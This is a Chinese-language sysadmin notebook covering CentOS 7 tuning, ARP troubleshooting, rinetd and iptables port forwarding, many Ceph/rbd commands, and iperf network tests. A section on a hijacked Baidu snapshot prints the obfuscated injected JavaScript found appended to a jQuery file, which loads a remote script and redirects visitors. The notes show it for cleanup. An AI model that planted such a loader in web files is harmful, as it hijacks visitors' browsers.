Centos 7安装后的几点优化

Centos7相对之前的5和6改动比较大,所以单独新开一章单独来表

修改主机名

hostnamectl set-hostname moneypy

关闭selinux

临时关闭

setenforce 0

查看当前状态

getenforce

永久关闭

sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

1.安全配置修改ssh端口

sed -i 's/# Port 22/Port 20002/g' /etc/ssh/ssh_config
sed -i 's/#Port 22/Port 20002/g' /etc/ssh/sshd_config
systemctl restart sshd
systemctl status sshd
firewall-cmd --zone=public --add-port=20002/tcp --permanent
firewall-cmd --reload

修改默认端口22为20002,添加20002到防火前例外

2.修改软件源

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
或者
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
yum makecache

 

更换IP后服务器网络不通排查

问题描述:如下图将服务器A上的IP地址删除后添加到服务器B上,出现IP不可用

问题解决思路:

在相同vlan中且ip在一个子网内不涉及路由转发,不考虑网关只用关心arp是否学习到,和交换配置中是否有mac地址绑定

检查交换机配置中是否有ip和mac地址绑定

show run ¦ in arp

更换ip之后清理交换机中arp临时表

clear arp

ps

ARP表的更新和老化

ARP表的更新的条件

在实际的环境中,只有同时满足以下两个条件时,设备的ARP表才会更新:

1.设备收到来自某IP的ARP请求包或者其他ARP包;

2.设备的现有ARP表中已经存在该IP对应的ARP表。

其他的非ARP报文不会对设备的ARP表产生影响。

ARP表的老化时间

不同系统的ARP表老化时间不同,Windows2000/XP系统ARP表项的老化时间是2分钟,95/98以及NT系统是10分钟,大部分Cisco交换机是5分钟,华为的设备一般是20分钟……这些时间可以通过系统注册表或者设备的相关命令进行设置。

ARP表老化时间定时器的重置

满足以下任一条件时,设备的ARP表项的老化时间定时器会重置:

1.设备相应的ARP表项更新时;

2.设备调用(引用)ARP表项转发数据后。

如果ARP更新存在问题我们如何解决?

在实际的环境中,经常遇到某些设备的ARP表项更新速度非常慢,甚至ARP学习存在问题,从而导致我们的网络连接出现异常,我们如何解决?

解决的方式就是在ARP表学习或更新出现异常的时候,在该设备上手动静态绑定ARP表项。

 

Centos安装简单易用的端口转发工具:rinetd

Centos系统自带的iptables也可以做端口转发,但配置繁琐复杂.以前我一直再用, 烧死了不少脑细胞.有时候遇到个别的系统环境还总是遇到莫名其妙的问题.今天知道了另外一个简单易用的工具:xinetd
安装步骤:

xinet安装步骤

yum install gcc
wget https://boutell.com/rinetd/http/rinetd.tar.gz
tar -xvf rinetd.tar.gz
cd rinetd
sed -i 's/65536/65535/g' rinetd.c
mkdir /usr/man/
make && make install

以上6条命令就是所有的安装步骤,至此就已经安装完毕.安装时会有个warning的提示,不影响使用,不用理会.
编辑端口转发配置文件:vi /etc/rinetd.conf
输入:0.0.0.0 80 127.0.0.1 8090

1.1.1.1 80 2.2.2.2 80
1.1.1.1自己监听
2.2.2.2转发源

配置文件格式很简单:[Source Address] [Source Port] [Destination Address] [Destination Port]
简单翻译一下:源IP 源端口 目标IP 目标端口
每行一条转发规则.
启动和关闭转发程序:
启动:rinetd -c /etc/rinetd.conf
关闭:killall rinetd
检验端口转发程序是否正确运行:netstat -tanulp|grep rinetd

iptables端口转发

网络拓扑

服务器A有两个网卡
    内网ip:192.168.1.3
    外网ip:10.138.108.103
    本地回环:127.0.0.1
 
服务器B有网卡,8001提供服务
    内网ip:192.168.1.1

目的

使用户通过外网10.138.108.103:8001访问内网服务器192.168.1.1:8001

思路

 

如图2所示,端口转发走的是下发A路,利用nat表中prerouting做dnat,用postrouting做snat

包分析

开启内核转发

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -p

运行脚本

#!/bin/bash
pro='tcp'
 
src_host1='192.168.1.3'
src_host2='10.138.108.103'
src_port=8001
 
Dst_Host='192.168.1.1'
Dst_Port=8001
 
# 清空规则
iptables -F
iptables -X
iptables -Z
iptables -t nat -F
 
# Destination network  address translate (dnat)
 
# 如图2所示
iptables -t nat -A PREROUTING  -p $pro -d $src_host1  --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
iptables -t nat -A PREROUTING  -p $pro -d $src_host2  --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
 
 
iptables -A FORWARD -p $pro -d $Dst_Host --dport $Dst_Port -j ACCEPT
 
# 本地连接不经过prerouting,只经过output链,所以想要在服务器A通过本地ip访问服务器B需要在output 链增加dnat规则
iptables -t nat -A OUTPUT -p $pro -d $src_host1 --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
iptables -t nat -A OUTPUT -p $pro -d $src_host2 --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
 
 
 
# source network address translate (snat)
iptables -t nat -A POSTROUTING -p $pro -d $Dst_Host --dport $Dst_Port -j SNAT --to $src_host1
 
# 显示已有规则
iptables -t nat -L -n --line-number

 

百度快照被劫持,解决思路

问题描述:
网站域名访问正常,百度快照内容不正常或者被转跳

1.检查index.php文件,全局搜索跳转域名
2.检查伪静态配置文件,看是否有异常
3.检查js文件

下面代码被放置到jquery-1.7.2.min.js末尾
导致百度快照打开被转跳

document.writeln("<script type=\'text/javascript\'>var newslist = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,116,97,110,104,117,97,103,119,46,99,111,109,47,121,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(newslist);</script>");

正常解析完毕后转跳域名为

Ceph常用命令

ceph df #查看ceph存储空间

ceph auth list #查看ceph集群中的认证用户及相关的key

ceph mon stat#查看mon的状态信息

ceph mon dump#查看你ceph映射信息

ceph mon remove node1 #删除一个mon节点  ceph-deploy mon destroy {host-name [host-name]…}

ceph mon add node1 node1_ip #添加一个mon节点  ceph-deploy mon create {host-name [host-name]…}

mon节点的/var/lib/ceph/mon/ceph-node2/store.db文件内容一致,添加mon注意先改配置目录配置文件,再推送到所有节点

ceph-deploy –overwrite-conf config push  node1 node2 node3

ceph mds stat #查看msd状态

ceph mds dump #msd的映射信息

ceph mds rm 0 mds.node1#删除一个mds节点

ceph-deploy mds create {host-name}[:{daemon-name}] [{host-name}[:{daemon-name}] …]

ceph osd stat #查看osd状态

ceph osd dump #osd的映射信息

ceph osd tree#查看osd目录树

ceph osd down 0   #down掉osd.0节点

ceph osd rm 0#集群删除一个osd硬盘

ceph osd crush remove osd.4#删除标记

ceph osd getmaxosd#查看最大osd个数

ceph osd setmaxosd 10#设置osd的个数

ceph osd out osd.3#把一个osd节点逐出集群

ceph osd in osd.3#把逐出的osd加入集群

ceph osd pause#暂停osd (暂停后整个集群不再接收数据)

ceph osd unpause#再次开启osd (开启后再次接收数据)

ceph pg stat#查看pg状态

ceph pg dump#查看pg组的映射信息

ceph pg map 0.3f#查看一个pg的map

ceph pg  0.26 query#查看pg详细信息

ceph pg dump –format plain#显示一个集群中的所有的pg统计

ceph osd lspools#查看ceph集群中的pool数量

ceph osd pool create jiayuan 100#创建一个pool  这里的100指的是PG组

ceph osd pool delete jiayuan  jiayuan  –yes-i-really-really-mean-it  #集群名字需要重复两次

rados df#显示集群中pool的详细信息

ceph osd pool get data pg_num  #查看data池的pg数量

ceph osd pool set data target_max_bytes 100000000000000#设置data池的最大存储空间为100T(默认是1T)

ceph osd pool set data size 3  #设置data池的副本数是3

ceph osd pool set data min_size 2 #设置data池能接受写操作的最小副本为2

ceph osd pool set data pg_num 100#设置一个pool的pg数量

ceph osd pool set data pgp_num 100#设置一个pool的pgp数量

rados lspools#查看ceph集群中有多少个pool (只是查看pool)

rados df #查看ceph集群中有多少个pool,并且每个pool容量及利用情况

rados mkpool test#创建一个pool

rados create test-object -p test#创建一个对象object

rados rm test-object-1 -p test#删除一个对象object

rados -p test ls

rbd ls pool_name#查看ceph中一个pool里的所有镜像

rbd info -p pool_name –image 74cb427c-cee9-47d0-b467-af217a67e60a #查看ceph pool中一个镜像的信息

rbd create -p test –size 10000 zhanguo#在test池中创建一个命名为zhanguo的10000M的镜像

rbd rm  -p test  lizhanguo #删除一个镜像

rbd resize -p test –size 20000 zhanguo  #调整一个镜像的尺寸

ceph-deploy disk zap {osd-server-name}:{disk-name}   #擦净磁盘

ceph-deploy osd prepare {node-name}:{disk}[:{path/to/journal}]

ceph-deploy osd prepare osdserver1:sdb:/dev/ssd1

ceph-deploy osd activate {node-name}:{path/to/disk}[:{path/to/journal}]

ceph-deploy osd activate osdserver1:/dev/sdb1:/dev/ssd1

把改过的配置文件分发给集群内各主机

ceph-deploy config push {host-name [host-name]…}

ceph osd getcrushmap -o MAP   #获取一个CRUSH映射

crushtool -d MAP -o MAP.TXT   #反编译一个CRUSH映射

crushtool -c MAP.TXT -o MAP   #编译一个CRUSH映射

ceph osd setcrushmap -i MAP    #设置一个CRUSH映射

cept mon dump #查看监控映射

cept osd dump  #查看一个OSD映射

ceph mds dump  #要查看MDS映射

ceph -w         #查看集群正在发生的事件

ceph health或ceph -s或ceph status #查看集群健康状态

块设备的一些命令

单位为M,默认在rbd pool中

创建块设备:rbd create {image-name}  –size {megabytes}  –pool {pool-name}

列出块设备:rbd ls {poolname} -l

检索块信息:rbd –image {image-name} info

更改块大小:rbd resize –image {image-name} –size {megabytes}

删除块设备:rbd rm {image-name}

映射块设备:rbd map {image-name} –pool {pool-name} –id {user-name}

查看已映射块设备:rbd showmapped

取消映射:rbd unmap /dev/rbd/{poolname}/{imagename}

快照和克隆相关命令

创建快照:

rbd –pool {pool-name} snap create –snap {snap-name} {image-name}

rbd snap create {pool-name}/{image-name}@{snap-name}

快照回滚:

rbd –pool {pool-name} snap rollback –snap {snap-name} {image-name}

rbd snap rollback {pool-name}/{image-name}@{snap-name}

清除快照:

rbd –pool {pool-name} snap purge {image-name}

rbd snap purge {pool-name}/{image-name}

删除快照:

rbd –pool {pool-name} snap rm –snap {snap-name} {image-name}

rbd snap rm {pool-name}/{image-name}@{snap-name}

列出快照:

rbd –pool {pool-name} snap ls {image-name}

rbd snap ls {pool-name}/{image-name}

保护快照:

rbd –pool {pool-name} snap protect –image {image-name} –snap {snapshot-name}

rbd snap protect {pool-name}/{image-name}@{snapshot-name}

取消保护快照:

rbd –pool {pool-name} snap unprotect –image {image-name} –snap {snapshot-name}

rbd snap unprotect {pool-name}/{image-name}@{snapshot-name}

快照克隆

rbd clone {pool-name}/{parent-image}@{snap-name} {pool-name}/{child-image-name}

查看快照的克隆

rbd –pool {pool-name} children –image {image-name} –snap {snap-name}

rbd children {pool-name}/{image-name}@{snapshot-name}

快照克隆相关例子:

创建快照:rbd  snap create vms/yjk01@yjk01_s1

列出快照:rbd snap list  –pool vms yjk01

快照回滚:rbd snap rollback vms/yjk01@yjk01_s1(先卸载已挂载目录)

删除快照:rbd snap rm vms/yjk01@yjk01_s2(单个)

清除快照:rbd snap purge vms/yjk01(所有)

保护快照:rbd snap protect vms/yjk01@yjk01_s1

取消保护:rbd snap unprotect vms/yjk01@yjk01_s1

快照克隆:rbd clone vms/yjk01@yjk01_s3 vms/yjk01_s3_clone1

查看克隆:rbd children vms/yjk01@yjk01_s3

克隆只能基于快照,并且只能快照处于保护状态,而且ceph仅支持克隆format 2映像。

无法删除image报rbd: error: image still has watchers解决方法

解决思路:

在Ceph集群日常运维中,管理员可能会遇到有的image删除不了的情况:
1) 由于image下有快照信息,只需要先将快照信息清除,然后再删除该image即可
2) 该image仍旧被一个客户端在访问,具体表现为该image中有watcher。如果该客户端异常了,那么就会出现无法删除该image的情况

对于第一种情况,很好解决,下面要说的是第二种情况该如何解决。解决之前先科普一下watcher相关的知识:
Ceph中有一个watch/notify机制(粒度是object),它用来在不同客户端之间进行消息通知,使得各客户端之间的状态保持一致,而每一个进行watch的客户端,对于Ceph集群来说都是一个watcher。

解决方法:

1. 查看当前image上的watcher

查看方法一:

[root@node3 ~]# rbd status foo
watcher=192.168.197.157:0/1135656048 client.4172 cookie=1

这种查看方法简单快捷,值得推荐

查看方法二:

1) 首先找到image的header对象

[root@node3 ~]# rbd info foo
rbd image 'foo':
        size 1024 MB in 256 objects
        order 22 (4096 kB objects)
        block_name_prefix: rbd_data.1041643c9869
        format: 2
        features: layering
        flags: 
        create_timestamp: Tue Oct 17 10:20:50 2017

由该image的block_name_prefix为 rbd_data.1041643c9869,可知该image的header对象为rbd_header.1041643c9869,得到了header对象后,查看watcher信息

2) 查看该image的header对象上的watcher信息

[root@node3 ~]# rados -p rbd listwatchers rbd_header.1041643c9869
watcher=192.168.197.157:0/1135656048 client.4172 cookie=1

2. 删除image上的watcher

2.1 把该watcher加入黑名单:

[root@node3 ~]# ceph osd blacklist add 192.168.197.157:0/1135656048 
blacklisting 192.168.197.157:0/1135656048 until 2017-10-18 12:04:19.103313 (3600 sec)

2.2 查看占用该image的watcher:

[root@node3 ~]# rados -p rbd listwatchers  rbd_header.1041643c9869
[root@node3 ~]# 

异常客户端的watcher信息已经不存在了,之后我们就可以对该image进行删除操作了

2.3 删除该image:

[root@node3 ~]# rbd rm foo
Removing image: 100% complete...done.

3. 后续操作

实际上做完上面的已经解决了问题,不过最好还是把加入黑名单的客户端移除,下面是有关黑名单的相关操作

3.1 查询黑名单列表:

[root@node3 ~]# ceph osd blacklist ls
listed 1 entries
192.168.197.157:0/1135656048 2017-10-18 12:04:19.103313

3.2 从黑名单移出一个客户端:

[root@node3 ~]# ceph osd blacklist rm 192.168.197.157:0/1135656048 
un-blacklisting 192.168.197.157:0/1135656048

3.3 清空黑名单:

[root@node3 ~]# ceph osd blacklist clear
 removed all blacklist entries

ceph群集变慢,网卡速率排查

下载并安装EPEL

 wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
 
 rpm -ivh epel-release-latest-7.noarch.rpm
 
 yum repolist

##检查是否已添加至源列表

OK,检查好已添加至源后就可以进行yum安装了

服务器端操作:

yum -y install iperf
iperf -s

客户端操作:

yum -y install iperf
iperf -c server_ip -t 30

//-t 测试时间

//server_ip为服务端的ip

如下所示万兆卡传输正常

[root@ceph-2 ~]# iperf -c ceph-1 -t 3
------------------------------------------------------------
Client connecting to ceph-1, TCP port 5001
TCP window size: 1.06 MByte (default)
------------------------------------------------------------
[  3] local 10.1.2.192 port 36122 connected with 10.1.2.191 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0- 3.0 sec  3.22 GBytes  9.23 Gbits/sec

查看网卡速率ethtool

[root@ceph-1 ~]# ethtool 10g
Settings for 10g:
        Supported ports: [ FIBRE ]
        Supported link modes:   10000baseT/Full 
        Supported pause frame use: No
        Supports auto-negotiation: No
        Advertised link modes:  10000baseT/Full 
        Advertised pause frame use: No
        Advertised auto-negotiation: No
        Speed: 10000Mb/s
        Duplex: Full
        Port: FIBRE
        PHYAD: 0
        Transceiver: external
        Auto-negotiation: off
        Supports Wake-on: d
        Wake-on: d
        Current message level: 0x00000007 (7)
                               drv probe link
        Link detected: yes